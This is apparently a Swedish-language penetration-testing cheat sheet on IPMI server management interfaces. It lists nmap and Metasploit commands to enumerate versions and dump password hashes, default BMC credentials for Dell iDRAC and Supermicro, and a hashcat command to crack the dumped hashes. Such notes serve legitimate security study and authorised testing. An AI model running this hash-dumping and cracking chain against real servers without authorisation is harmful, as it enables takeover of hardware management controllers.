IPMI

Intelligent Platform Management Interface (Port 623(UDP))

Hårdvarubaserat system för host-managering och övervakning. Ex. Dell's DRAC, HP iLO

---

Nmap

Enumeration av version

sudo nmap -sU --script ipmi-version -p 623 <domän>

---

Metasploit

Enumeration av version

use auxiliary/scanner/ipmi/ipmi_version

Dumpa IPMI lösenords-hash:ar

use auxiliary/scanner/ipmi/ipmi_dumphashes

---

Default-lösenord för olika BMC:er

Produkt	Användarnamn	Lösenord
Dell iDRAC (Dell Remote Access Card)	root	calvin
HP iLO (integrated Lights Out)	Administrator	randomiserat lösenord på 8 tecken (nummer och versaler)
Supermicro IPMI	ADMIN	ADMIN

---

Hashcat

Knäcka lösenords-hash:ar som man dumpat med Metasploit-modulen

hashcat -m 7300 <fil med hash> <ordlista>